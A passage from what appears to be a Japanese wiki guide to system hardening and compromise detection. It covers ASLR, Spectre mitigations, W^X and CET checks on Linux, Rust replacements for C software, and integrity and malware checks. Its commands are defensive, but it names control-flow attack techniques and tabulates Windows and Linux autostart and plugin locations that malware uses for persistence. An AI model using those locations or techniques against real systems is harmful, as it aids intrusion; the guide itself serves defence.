Linuxでは ASLR が無効となる非位置独立実行形式のファイルを以下で検索することができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 非位置独立実行形式 (non-PIE) のバイナリを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}'
/usr/lib/default.sfx
/usr/lib/klibc/bin/mkfifo
/usr/lib/klibc/bin/zcat
/usr/lib/klibc/bin/poweroff
[...]
$ # 非位置独立実行形式 (non-PIE) のバイナリを含むDebianパッケージを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
aidl
busybox-static
code
cpp-15-x86-64-linux-gnu
cuda-gdb-13-4
cuda-nvcc-13-4
cuda-sanitizer-13-4
cuda-tileiras-13-4
debugedit
g++-15-x86-64-linux-gnu
gcc-15-x86-64-linux-gnu
gcc-mingw-w64-i686-posix
gdc-15-x86-64-linux-gnu
gds-tools-13-4
gfortran-15-x86-64-linux-gnu
gh
git-lfs
gobjc-15-x86-64-linux-gnu
gocryptfs
golang-1.26-go
go-md2man
go-mtpfs
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルがユーザー空間 ASLR を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sysctl kernel.randomize_va_space # 0=無し、1=部分的、2=完全
kernel.randomize_va_space = 2
&lt;/syntaxhighlight&gt;

また現在のLinuxカーネルがカーネル ASLR (KASLR) を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_RANDOMIZE_BASE' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_RANDOMIZE_BASE=y
&lt;/syntaxhighlight&gt;

なお ASLR は間接的な関数呼び出し（ C++ の vtable を含む）があると、そのアドレスから ASLR のオフセットがバレてしまい突破されてしまいます。

また CPU の[[:w:投機的実行|投機的実行]]での情報漏れ (Spectre) による[[:w:キャッシュ攻撃|キャッシュサイドチャネル攻撃]]（後述）の一つである「投機的探査」 (BlindSide) によってもコードの位置情報の取得がされ ASLR が突破されてしまいます。

=== 投機的実行の情報漏れ防止 ===
前述のとおり、投機的実行による情報漏れ (Spectre) は攻撃に繋がります。Spectre には境界チェックを迂回する Spectre V1 と間接分岐の分岐先アドレスのキャッシュ{{efn|分岐先バッファ (Branch Target Buffer、BTB)や分岐先アドレスキャッシュ (Branch Target Address Cache、BTAC) と呼ばれる。}}を汚染する Spectre V2 が存在します。&lt;!--TODO: Spectre v3/v4、Zenbleed--&gt;

Spectre V1 を防ぐ方法としては投機的実行を阻害するための命令（x86ではLFENCE）の挿入{{efn|Linuxカーネルでの投機的実行の防止は&lt;code&gt;barrier_nospec()&lt;/code&gt;。}}やアクセスできるアドレス範囲を狭めることが行われています{{efn|GCCでの投機的実行での範囲外アクセス防止は&lt;code&gt;__builtin_speculation_safe_value(...)&lt;/code&gt;、Linuxカーネルでの投機的実行での範囲外アクセス防止は&lt;code&gt;array_index_nospec(...)&lt;/code&gt;&lt;ref&gt;[https://lwn.net/Articles/759423/ Spectre V1 defense in GCC] LWN 2018年7月10日&lt;/ref&gt;。}}。

また Spectre V2 では攻撃を防ぎながらも速度を落とさない方法として脆弱な分岐先アドレスキャッシュに依存する間接分岐の代わりにリターンアドレスのキャッシュ{{efn|リターンスタックバッファ (RSB) と呼ばれる。}}に依存するリターン命令を使う retpoline が登場しました。しかしながらこの retpoline でも速度の低下は起こるため、既知の間接呼び出しを条件分岐 + 直接呼び出しに変換して高速化する手法が模索されました。LLVM では retpoline を有効にする &lt;code&gt;-mretpoline&lt;/code&gt;フラグの処理内に既知の仮想関数呼び出しを[[:w:二分木|二分木]]の直接分岐に置き換える「分岐ファネル」(Branch funnel) が導入されています&lt;ref&gt;[https://reviews.llvm.org/D42453 Use branch funnels for virtual calls when retpoline mitigation is enabled.] LLVM project&lt;/ref&gt;。また Linux カーネルでも既知の間接呼び出しを条件分岐 + 直接呼び出しに変換する INDIRECT_CALL_* マクロが搭載されています&lt;ref&gt;[https://lwn.net/Articles/774743/ Relief for retpoline pain] LWN 2018年12月14日&lt;/ref&gt;。&lt;!--TODO: Intel CETのSHSTKとretpolineの衝突--&gt;

一方、リターン命令の投機的実行も「Retbleed」や AMD CPU における「投機的リターンスタックオーバーフロー」 (SRSO){{efn|Speculative Return Stack Overflow。}}のような脆弱性が見つかっています。

なお低権限コードから高権限コードへの権限境界をまたいだ Spectre および Retbleed は Intel の「間接分岐制限付き投機」(IBRS){{efn|Indirect Branch Restricted Speculation。}}およびそれを高速化した「拡張IBRS」(eIBRS) などハードウェア側によって塞がれました&lt;ref&gt;[https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/hardware-behavior-related-to-speculative-execution.html Hardware Features and Behavior Related to Speculative Execution] Intel 2026年10月14日&lt;/ref&gt;が、権限境界をまたがないものは今も可能となっています。

=== メモリにおける書き込みと実行の排他化 (W^X) ===
メモリでは書き込み可能領域の実行不可化 ([[:w:NXビット|NXビット]]) と実行可能領域の書き込み不可化による書き込みと実行の排他化（[[:w:en:W^X|W^X]]）が一般的となっています。NXビットは x86 では NXビットは AMD64 と共に搭載された古い機能であるため、今時の CPU と OS は基本的にこれに対応しています。

現在の CPU がNXビットを有効にしているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -o nx
nx
nx
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルが厳格な W^X を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '_RWX' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
&lt;/syntaxhighlight&gt;

しかしながら書き込みと実行の排他の原則を破ってそれらを同時に行える場所というものも存在しています。読み込み・書き込み・実行が可能なことから「RWXセクション」と呼ばれています。Windows ではメモリページの PAGE_EXECUTE_READWRITE フラグがこれに相当します&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants メモリ保護定数] メモリ保護定数 (WinNT.h) - Win32 apps | Microsoft Learn&lt;/ref&gt;。

Windows のカーネルドライバでは NX フラグの使用が義務付けられています&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-hardware/test/hlk/testref/driver-compatibility-with-device-guard メモリ整合性と VBS とのドライバ互換性] Microsoft&lt;/ref&gt;が、その Windows カーネルにおいても PatchGuard の領域がコード難読化のためにこの原則を破っています。&lt;!--TODO: ホットパッチ--&gt;

また Linux でも実行可能領域を書き込み可能ページとして割り当てて書き込む text_poke 関数が用意されています。

=== 制御フローの操作を防ぐ (CET)  ===
現代では「[[:w:Return-oriented programming|リターン指向プログラミング]]」(ROP)、「呼び出し指向プログラミング」 (COP)、「ジャンプ指向プログラミング」(JOP) 、「[[:en:Sigreturn-oriented programming|Sigreturn指向プログラミング]]」(SROP) などの制御フロー操作による攻撃が一般化していますが、これを防ぐ技術として「[[:w:en:Control-flow integrity#Intel Control-flow Enforcement Technology|制御フロー強制テクノロジー]]」(CET) の「[[:w:en:Indirect branch tracking|間接分岐追跡]]」(IBT) と「[[:w:en:Shadow stack|シャドウスタック]]」(SHSTK) が存在します。

制御フロー強制は比較的新しい技術であるため、対応する CPU は以下に限られます:
* Intel Core (Tiger Lake) 第11世代以降
* AMD Zen 3 以降（シャドウスタックのみ）

現在の CPU が間接分岐追跡 (IBT)  およびシャドウスタックに対応しているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -oE '(ibt|shstk)'
shstk
ibt
shstk
ibt
[...]
&lt;/syntaxhighlight&gt;

またユーザーランドのシャドウスタックの使用にはユーザーランドだけでなくカーネルの対応も必要となります。Linux カーネル では 6.6 以降対応でこれに対応しています（sigreturnにも対応&lt;ref&gt;[https://github.com/torvalds/linux/commit/05e36022c0543ba55a3de55af455b00cb3eb4fcc x86/shstk: Handle signals for shadow stack · torvalds/linux@05e3602] GitHub 2023年8月3日&lt;/ref&gt;）。 Linuxディストリビューションでは Ubuntu 24.04以降、 Red Hat Enterprise Linux 9.7 以降&lt;ref&gt;[https://docs.redhat.com/ja/documentation/red_hat_enterprise_linux/9/html/9.7_release_notes/new-features-kernel 4.8. カーネル - 9.7 リリースノート - Red Hat Enterprise Linux - 9 - Red Hat Documentation] Red Hat&lt;/ref&gt;が標準でシャドウスタックを有効としています。

現在のLinuxカーネルがユーザーランドの間接分岐追跡およびシャドウスタックを有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -E '_(IBT|SHADOW_STACK)' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_CC_HAS_IBT=y
# CONFIG_X86_KERNEL_IBT is not set
CONFIG_X86_USER_SHADOW_STACK=y
CONFIG_X86_DISABLED_FEATURE_IBT=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
&lt;/syntaxhighlight&gt;

現在のユーザーランドプログラムの中で間接分岐追跡またはシャドウスタックが無効化されているものはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)'
/usr/lib/lv2/carla.lv2/carla.so
/usr/lib/7zip/7z
/usr/lib/7zip/7zCon.sfx
/usr/lib/7zip/7zr
/usr/lib/7zip/7z.so
/usr/lib/7zip/7za
/usr/lib/klibc/bin/ipconfig
/usr/lib/klibc/bin/umount
/usr/lib/klibc/bin/halt
[...]
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを含むDebianパッケージを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
7zip
aidl
ardour
avr-libc
cargo-1.93
carla
carla-bridge-wine32:i386
carla-bridge-wine64
carla-lv2
carla-vst
cuda-ctadvisor-13-4
cuda-cudart-13-4
[...]
&lt;/syntaxhighlight&gt;

一方、Linuxカーネルのカーネル側のシャドウスタック対応は2026年現在まだ開発中となっています (x86 Kernel Shadow Stacksパッチシリーズ)&lt;ref&gt;[https://www.phoronix.com/news/Linux-Kernel-Shadow-Stacks x86 Kernel Shadow Stacks Being Worked On For Linux As Powerful Control Flow Protection] Phoronix 2026年10月22日&lt;/ref&gt;。

なお、制御フロー強制テクノロジーの間接分岐追跡とシャドウスタックが有効であっても異なる関数の通常呼び出しは防げません。分かりやすい例では関数の間接呼び出しにおいて関数ポインタを&lt;code&gt;sigaction&lt;/code&gt;へと変更して独自のシグナルハンドラを登録し、その後クラッシュさせてそのシグナルハンドラを呼び出すという「セグメンテーション違反指向プログラミング」(SFOP) が挙げられます。また攻撃に使える関数 (dop gadgets) {{efn|dop gadgetsの検索の公式実装は「DOP-StaticAssist」[https://github.com/melynx/DOP-StaticAssist]だが長らく更新されておらず古いLLVM 3.5に依存している状態となっている。}}の通常呼び出しだけで攻撃する「Data-Oriented Programming」(DOP) &lt;ref&gt;Hong Hu et al. [https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546545 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks] IEEE 2016年&lt;/ref&gt;{{efn|セキュリティ以外の文脈におけるデータ指向プログラミング、データ指向設計、データ駆動型設計とは異なる。}}という手法も存在します。

C++向けでは仮想関数テーブル (vtable) を改ざんして攻撃に使える仮想関数（仮想関数ガジェット、vfgadget）を呼び出す「偽造オブジェクト指向プログラミング」(COOP) という攻撃手法も登場しています。

=== メモリ安全性の高いソフトウェアへ ===
既存のソフトウェアの脆弱性は7割がメモリ安全性の問題に起因すると言われています&lt;ref&gt;[https://www.cisa.gov/sites/default/files/2023-12/CSAC_TAC_Recommendations-Memory-Safety_Final_20231205_508.pdf REPORT TO THE CISA DIRECTOR Technical Advisory Council Memory Safety] サイバーセキュリティ諮問委員会 (CSAC) 2023年12月5日&lt;/ref&gt;。しかしながら[[C言語]]や[[C++]]はメモリ安全性が低いため、メモリ安全性の確保できる[[Rust]]などで書かれた代替プログラムが登場しています:
{| class=&quot;wikitable&quot;
|+ コマンドのRust版
|-
! コマンドの概要 !! 従来版 !! Rust版
|-
| Unix系の基本コマンド群 || GNU Core Utilities || '''uutils coreutils'''
|-
| ファイル検索コマンド群{{efn|&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;locate&lt;/code&gt;、&lt;code&gt;updatedb&lt;/code&gt;、&lt;code&gt;xargs&lt;/code&gt;の4コマンド}} || GNU Findutils || '''uutils findutils'''
|-
| ファイル差分コマンド群{{efn|&lt;code&gt;diff&lt;/code&gt;、&lt;code&gt;cmp&lt;/code&gt;、&lt;code&gt;diff3&lt;/code&gt;、&lt;code&gt;sdiff&lt;/code&gt;の4コマンド}} || GNU Diffutils || '''uutils diffutils'''
|-
| ストリームエディタ (sed) || GNU sed / FreeBSD sed || '''uutils sed'''
|-
| AWKスクリプト || GNU AWK || '''uutils AWK'''
|-
| 文字列検索 || GNU Grep || '''uutils Grep'''
|-
| tarアーカイブ || GNU Tar || '''uutils tar'''
|-
| アカウント管理コマンド群 || shadow-utils || '''uutils shadow-utils'''
|-
| アクセス制御コマンド群{{efn|&lt;code&gt;chacl&lt;/code&gt;、&lt;code&gt;getfacl&lt;/code&gt;、&lt;code&gt;setfacl&lt;/code&gt;の3コマンド}} || acl || '''uutils acl'''
|-
| procfs{{efn|プロセスファイルシステム}}表示コマンド群 || procps / procps-ng || '''uutils procps'''
|-
| ホスト名管理コマンド群{{efn|&lt;code&gt;hostname&lt;/code&gt;、&lt;code&gt;dnsdomainname&lt;/code&gt;、&lt;code&gt;domainname&lt;/code&gt;、&lt;code&gt;nisdomainname&lt;/code&gt;、&lt;code&gt;ypdomainname&lt;/code&gt;の5コマンド。}} || hostname || '''uutils hostname'''
|-
| Linuxユーティリティ || util-linux || '''uutils util-linux'''
|- 
| 権限昇格 || sudo || '''sudo-rs'''
|-
| 暗号・署名システム || GnuPG || '''Sequoia PGP'''
|-
| 時刻同期 || ntpd || '''ntpd-rs'''
|-
| セキュアシェル (SSH) || OpenSSH || '''russh'''
|}

これらのRustで書かれたコマンドのうちuutils coreutilsとsudo-rsはUbuntuに採用されています。

またライブラリでもRustだけ (Pure Rust) で実装されたものが登場しています:
* 画像ライブラリ - これらは例えばGNOMEデスクトップ環境の画像ローダーGlycinから使われています&lt;ref&gt;[https://gitlab.gnome.org/GNOME/glycin GNOME / glycin · GitLab] GNOME Project&lt;/ref&gt;。
** libpng → pngクレート - PNG画像向け。
** libgif → gifクレート - GIF画像向け。
** libjpeg / libjpeg-turbo → zune-jpeg / libjpeg-turbo-rs - JPEG画像向け。
** OpenJPEG → hayro-jpeg2000 - JPEG 2000画像向け。
** libtiff → tiffクレート - Tiff画像向け
** libwebp → image-webpクレート - WebP画像向け。
** libraw → libopenraw - RAW画像向け。
** librsvg - SVG画像向け。C言語からRustに書き直しされました。
* 圧縮ライブラリ
** zlib / zlib-ng → zlib-rs - Deflate圧縮向け
** libbzip2 → bzip2-rs - BZ2圧縮向け
* 暗号化ライブラリ
** OpenSSL / GnuTLS → [[:w:en:Rustls|Rustls]]
* Unicode処理ライブラリ
** ICU4C → ICU4X
* テキスト整形ライブラリ
** HarfBuzz → HarfRust
* ブラウザエンジン
** Blink/Gecko → Servo

&lt;!--
=== 整合性チェック ===
PatchGuard / HyperGuard
--&gt;

== 不審な改変が行われていないかを調べる ==
例えばOSの起動には一連のシーケンスがありますが、マルウェアは基本的にここの途中に入り込んで永続化します。

{| class=&quot;wikitable&quot;
|+ 起動シーケンス
|-
! 種類 || Windows 11以降 !! Linux (Gnome) !! Linux (KDE)
|-
| 1. 起動ファームウェア || [[:w:Unified Extensible Firmware Interface|UEFI]] || colspan=2 | [[:w:Basic Input/Output System|レガシーBIOS]] / UEFI
|-
| 2. ブートローダー || [[:w:Windows Boot Manager|Windows Boot Manager]] (bootmgfw.efi)&lt;br&gt; → [[:w:Windows Boot Manager#winload.exe/winload.efi|Windows OS Loader]] (winload.efi) || colspan=2 | GRUB{{efn|Ubuntuの標準。}} / systemd-boot / Unified Kernel Image{{efn|Linuxカーネルとブートイメージを単一バイナリにする仕組み。}} / EFI boot stub{{efn|LinuxカーネルをEFIから直接ブートできるようにする仕組み。}}
|-
| 3. カーネル || [[:w:ntoskrnl.exe|ntoskrnl.exe]] || colspan=2 | Linuxカーネル ([[:w:vmlinux|vmlinux]]{{efn|圧縮後はvmlinuzとなる。}})
|-
| 4. 初期化プロセス || [[:w:en:Session Manager Subsystem|smss.exe]]&lt;br&gt; → wininit.exe&lt;br&gt; || rowspan=2 colspan=2 | [[:w:systemd|systemd]]{{efn|以前は代替initもよく使われていたが、今はsystemdが標準となっている。}}
|-
| 5. サービスコントロールマネージャ || colspan=2 | [[:w:en:Service Control Manager|services.exe]]
|-
| rowspan=2 | 6. ログインマネージャ || rowspan=2 | [[:w:Winlogon|winlogon.exe]] || colspan=2 | systemd-logind&lt;br&gt;sd-pam
|-
| [[:w:GNOME ディスプレイマネージャー|GDM]] || [[:w:Simple Desktop Display Manager|SDDM]]
|-
| rowspan=2 | 7. ユーザー初期化プロセス || rowspan=2 | userinit.exe || colspan=2 | systemd
|-
| gnome-session || kcminit&lt;br&gt; → plasma_session
|-
| 8. シェル || [[:w:Windows Explorer|explorer.exe]] || gnome-shell || plasmashell
|-
| 9. コンポジタ || [[:w:Desktop Window Manager|dwm.exe]] || mutter || kwin
|}

また起動シーケンス以外にもアップデートシーケンスへの感染やシェル感染、ブラウザ感染もあります。

{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| Windows || %APPDATA%\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;* || C:\&lt;wbr&gt;ProgramData\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;*
|-
| [[:w:PowerShell|PowerShell]] プロファイル&lt;ref&gt;[https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.6 about_Profiles - PowerShell - Microsoft Learn] Microsoft&lt;/ref&gt; || %USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Profile.ps1&lt;br&gt;%USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1 || C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Profile.ps1&lt;br&gt;C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1
|}

{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| POSIX標準 || ~/.profile || /etc/profile
|-
| XDG Base Directory&lt;wbr&gt;標準 || ~/.local/bin/* ||
|-
| FHS{{efn|Filesystem Hierarchy Standard}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/fhs.shtml] || || /bin/* /sbin/* /usr/bin/* /usr/local/bin/* /etc/inittab
|-
| LSB{{efn|Linux Standard Base}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/lsb.shtml] || || /etc/profile.d/* /etc/init.d/* /etc/cron.d/*
|-
| Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]{{efn|systemd-xdg-autostart-generator が導入されているシステムではこれらがsystemd設定に自動変換される。}} || ~/.config/autostart/* || /etc/xdg/autostart/*
|-
| Bash || ~/.bash_profile ~/.bashrc || /etc/bash_profile /etc/bash.bashrc /etc/bash.bash_logout
|-
| Z shell (Zsh) || ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin ~/.zlogout || /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout&lt;br/&gt;（または /etc/zsh/zshenv /etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zlogout）
|-
| Systemd || ~/.config/systemd/user/* || /etc/systemd/system/* /etc/systemd/user/*
|-
| Xorg || ~/.xinitrc ~/.xserverrc ~/.xsession || /etc/X11/xinit/xinitrc /etc/X11/xinit/xserverrc /etc/X11/Xsession /usr/share/xsessions/*
|-
| Wayland ||  || /usr/share/wayland-sessions/*
|-
| Python || ~/.local/lib/python*/site-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getusersitepackages())'&lt;/code&gt;で確認可能。}} || /usr/lib/python*/dist-packages/*/** /usr/local/lib/python*/dist-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getsitepackages())'&lt;/code&gt;で確認可能。}}
|-
| Perl{{efn|Debian/UbuntuではDebianパッケージ設定システム (debconf) のためにPerlを使用している。}} || || /usr/share/perl*/**  /usr/local/share/perl*/** /usr/lib/*/perl*/** /usr/local/lib/*/perl*/**{{efn|絶対パスは&lt;code&gt;perl -V:installsitearch -V:installsitelib -V:installvendorarch -V:installvendorlib -V:archlib -V:privlib -V:installarchlib -V:installprivlib&lt;/code&gt;で確認可能。}}
|}

=== パッケージ管理ファイルを検証する ===
パッケージ管理システムが管理しているファイルではファイルハッシュが保存されているため簡単にその検証を行うことが可能です:
{| class=&quot;wikitable&quot;
|-
! OS / パッケージシステム !! 検証のみ !! 修復
|-
| Windows || &lt;code&gt;sfc&amp;nbsp;/verifyonly&lt;/code&gt; || &lt;code&gt;sfc&amp;nbsp;/scannow&lt;/code&gt;
|-
| Debパッケージ (Debian / Ubuntu) || &lt;code&gt;debsums -s&lt;/code&gt; || &lt;code&gt;apt install --reinstall $(debsums -cs &amp;verbar; xargs -r dpkg-query -S &amp;verbar; cut -d: -f1 &amp;verbar; sort -u)&lt;/code&gt;
|-
| RPMパッケージ (RedHat / Fedora) || &lt;code&gt;rpm -Va&lt;/code&gt; || 
|}

ただしローカルハッシュが改ざんされている可能性もあるため過信はできません。&lt;!--TODO: ローカルハッシュの検証法--&gt;

自動的にシステムの検証を行うシステムも存在します:
* Android - ブロックデバイスレベルでのハッシュ検証 (dm-verityベース)&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;

&lt;!--
またUbuntuのSnapパッケージでもdm-verityの導入が進められています。

また特定言語のパッケージの検証は以下で可能です:
* PIP (Python): なし
--&gt;

=== システム領域に不審なファイルが追加されていないかを調べる ===
システムの追加ファイルの検知にはパッケージシステムで管理されていないファイルの一覧を返す以下のようなツールが存在します:
* Debian / Ubuntu（Debパッケージ）向け: cruft-ngパッケージ（&lt;code&gt;cruft&lt;/code&gt;コマンド）

上記の&lt;code&gt;cruft&lt;/code&gt;コマンドでは設定ファイルだけ残っているパッケージのファイルも出てきてしまいます。そのため、これが邪魔な時は設定ファイルだけ残っているパッケージを&lt;code&gt;sudo apt purge '~c'&lt;/code&gt;で削除しましょう。

またaptレポジトリに無いインストールされたパッケージは&lt;code&gt;apt list '?obsolete'&lt;/code&gt;で、手動 (manual) でインストールされたパッケージは&lt;code&gt;apt-mark showmanual&lt;/code&gt;で確認できます。これらのコマンドを実行してインストールした覚えないパッケージが入ってないかをチェックしましょう。GUI が使えるのであれば&lt;code&gt;synaptic&lt;/code&gt;を起動して「インストール済（ローカルまたは廃止）」と「インストール済（手動）」を確認するのもオススメです。

=== ユーザー領域に不審なファイルが追加されていないかを調べる ===
ユーザースクリプトの書き換えや追加は検知が難しいです。&lt;!--TODO: 良い方法を書く--&gt;

共有ライブラリやスクリプトによるプラグイン追加も可能となっているため、こちらにも気をつけなければいけません。これには例えば以下があります:
{| class=&quot;wikitable&quot;
|+ 代表的なユーザースクリプトや拡張機能のディレクトリパス
|-
! 種類 !! Windowsのパス !! macOSのパス !! Linuxのパス
|-
| Google Chrome 拡張機能 || %LOCALAPPDATA%\Google\Chrome\User Data\*\Extensions\ || ~/Library/Application Support/Google/Chrome/*/Extensions/ || ~/.config/google-chrome/*/Extensions/
|-
| GIMPプラグイン&lt;ref&gt;[https://gimp.cc/faq/add-gimp-plugins.html How to Install GIMP Plugins - Detailed Guide with Troubleshooting] GIMP.cc&lt;/ref&gt; || %APPDATA%\GIMP\*\plug-ins\ || ~/Library/Application Support/GIMP/*/plug-ins/ || ~/.config/GIMP/*/plug-ins/
|-
| Blenderスクリプト{{efn|起動スクリプト、アドオンを含む。}}&lt;ref&gt;[https://docs.blender.org/manual/ja/dev/advanced/blender_directory_layout.html  Blender&amp;#39;s Directory Layout] Blender Foundation&lt;/ref&gt; || %APPDATA%\Blender Foundation\Blender\*\scripts\ || ~/Library/Application Support/Blender/*/scripts/ || ~/.config/blender/*/scripts/
|-
| Ardourスクリプト&lt;ref&gt;[https://manual.ardour.org/lua-scripting/ The Ardour Manual - Lua Scripting] Ardour&lt;/ref&gt; || %LOCALAPPDATA%\ardour*\scripts\ || ~/Library/Preferences/Ardour*/scripts/ || ~/.config/ardour*/scripts/
|-
| LibreOfficeスクリプト || %APPDATA%\LibreOffice\*\user\Scripts\ || ~/Library/Application Support/LibreOffice/*/user/Scripts/ || ~/.config/libreoffice/*/user/Scripts/
|-
| Visual Studio Code 拡張機能&lt;ref&gt;[https://code.visualstudio.com/docs/configure/extensions/extension-marketplace Extension Marketplace] Microsoft&lt;/ref&gt; || %USERPROFILE%\.vscode\extensions\ || ~/.vscode/extensions/ || ~/.vscode/extensions/
|}

=== 改変・追加されたファイルが危険かを調べる ===
実行ファイルやスクリプトはLinuxでは以下で検出できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs file | grep -i -E ':.*(executable|shared object|relocatable|script)'
/etc/init.d/binfmt-support.dpkg-new:                                                                                                    POSIX shell script, ASCII text executable
/etc/update-motd.d/99-livepatch-kernel-upgrade-required:                                                                                POSIX shell script, ASCII text executable
/usr/lib/chromium-browser/plugins/libpepflashplayer.so:                                                                                 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5c421e89a5c062a2106a5a4381dc38e779a22795, stripped
&lt;/syntaxhighlight&gt;

またClamAVを導入していれば以下でマルウェアデータベースとの照合を行うことができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs clamscan
Loading:     3s, ETA:   0s [========================&gt;]    3.63M/3.63M sigs
Compiling:   1s, ETA:   0s [========================&gt;]       41/41 tasks

/etc/apt/apt.conf.d/00trustcdrom: OK
/etc/apt/auth.conf.d/90ubuntu-advantage: OK
/etc/apt/keyrings/google.asc: OK
[...]

----------- SCAN SUMMARY -----------
Known viruses: 3628164
Engine version: 1.5.4
Scanned directories: 125
Scanned files: 1919
Infected files: 0
Total errors: 10
Data scanned: 247.72 MiB
Data read: 281.17 MiB (ratio 0.88:1)
Time: 17.939 sec (0 m 17 s)
Start Date: 2026:10:11 05:41:30
End Date:   2026:10:11 05:41:48
&lt;/syntaxhighlight&gt;

=== 設定データベースを検証する ===
設定データベースは Windows ではレジストリ、Linuxでは GNOME / MATEの 使う [[:en:dconf|dconf]] が存在します。

Windows の設定データベースはレジストリと呼び「レジストリエディタ」 (&lt;code&gt;regedit&lt;/code&gt;) で表示できます。
{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト、コマンド起動、DLL呼び出しが可能なレジストリ
|-
! 規格/アプリケーション !! 各ユーザー !! 全ユーザー
|-
